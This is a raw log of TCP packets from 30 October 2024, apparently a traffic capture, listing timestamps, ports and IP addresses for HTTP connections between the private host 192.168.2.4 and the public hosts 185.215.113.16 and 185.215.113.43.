Oct 30, 2024 12:36:36.146672964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146691084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146693945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146717072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146733046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146749020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146750927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146765947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146781921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146789074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146800041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146821976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146841049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146848917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146866083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146883011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146899939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146904945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.146917105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:36.146956921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.156485081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:36.947256088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:46.083828926 CET	49745	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:46.190994978 CET	80	49745	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:46.191088915 CET	49745	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:46.191302061 CET	49745	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:46.196645021 CET	80	49745	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:47.090303898 CET	80	49745	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:47.092945099 CET	49745	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:48.611016035 CET	49745	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:48.611198902 CET	49746	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:48.616586924 CET	80	49746	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:48.616786003 CET	80	49745	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:48.616889000 CET	49745	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:48.616903067 CET	49746	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:48.617059946 CET	49746	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:48.622330904 CET	80	49746	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:49.559787989 CET	80	49746	185.215.113.43	192.168.2.4
Oct 30, 2024 12:36:49.560033083 CET	49746	80	192.168.2.4	185.215.113.43
Oct 30, 2024 12:36:49.563182116 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:49.568448067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:49.568521976 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:49.568629026 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:49.573894978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651283979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651300907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651319981 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651329994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651340961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651351929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651350021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.651362896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651374102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651384115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651388884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.651395082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651408911 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.651412010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.651429892 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.651443005 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.656945944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.656992912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.657048941 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.672013998 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.672065973 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.672071934 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.672084093 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.672096968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.672107935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.672107935 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.672130108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.672159910 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.672461033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.672472954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.672483921 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.672524929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.672529936 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.672535896 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.672538042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.672561884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.672575951 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.673394918 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.673407078 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.673418045 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.673432112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.673443079 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.673449039 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.673489094 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.674365997 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.674377918 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.674390078 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.674420118 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.674447060 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.677417994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.677467108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.677540064 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.677583933 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.677697897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.677747965 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.677902937 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.677953959 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.823720932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.823735952 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.823750019 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.823760033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.823786974 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.823795080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.823805094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.823812962 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.823813915 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.823832035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.823849916 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.823947906 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.824151993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824189901 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.824197054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824207067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824238062 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.824243069 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824251890 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824261904 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.824278116 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.824302912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.824630022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824666023 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.824688911 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824698925 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824708939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824728012 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.824738026 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.824769020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824778080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824786901 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.824809074 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.824825048 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.825378895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.825388908 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.825400114 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.825422049 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.825428009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.825443983 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.825448036 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.825454950 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.825464964 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.825480938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.825489998 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.825514078 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.825514078 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.825584888 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.826208115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.826219082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.826229095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.826255083 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.826271057 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.826286077 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.826296091 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.826306105 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.826317072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.826325893 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.826347113 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.826358080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.826375008 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.826405048 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.826405048 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.827097893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.827137947 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.829210043 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.829221010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.829251051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.829257011 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.829261065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.829272032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.829308033 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.829319000 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.829319000 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.829329967 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.829339981 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.829355001 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.829379082 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.986644030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986681938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986690998 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986705065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986711979 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.986715078 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986726999 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986737013 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986749887 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.986749887 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.986753941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986763954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986799002 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.986901045 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986910105 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986921072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986934900 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.986943007 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.986954927 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.986979008 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987029076 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987039089 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987049103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987061977 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987078905 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987144947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987154961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987164021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987174988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987184048 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987184048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987199068 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987200975 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987216949 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987238884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987397909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987406969 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987416029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987435102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987459898 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987484932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987493992 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987505913 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987519026 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987540960 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987560987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987571001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987580061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987590075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987603903 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987626076 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987754107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987792969 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987798929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987808943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987829924 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987843990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987875938 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987885952 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987895012 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987905025 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.987919092 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987946033 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.987997055 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988006115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988014936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988025904 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988034010 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988035917 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988044977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988049030 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988075018 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988338947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988368988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988372087 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988377094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988390923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988395929 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988400936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988411903 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988419056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988430977 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988455057 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988573074 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988581896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988590956 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988610029 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988642931 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988648891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988657951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988667965 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988678932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988691092 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988712072 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988739967 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988749027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988759041 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.988776922 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.988792896 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992176056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992221117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992229939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992235899 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992252111 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992269039 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992691994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992701054 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992711067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992722034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992738008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992738962 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992748022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992757082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992760897 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992768049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992778063 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992779970 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992788076 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992795944 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992799044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992818117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992818117 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992835999 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992856979 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992865086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992906094 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.992945910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992955923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.992989063 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.993005991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993015051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993024111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993033886 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993033886 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.993061066 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.993098021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993108034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993117094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993128061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993138075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993139982 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.993143082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993164062 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.993186951 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.993343115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993351936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993367910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993379116 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.993411064 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.993427992 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993437052 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993446112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993455887 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993463039 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.993464947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:50.993480921 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:50.993495941 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.149511099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149523020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149539948 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.149554014 CET	80	49747	185.215.113.16	192.168.2.4
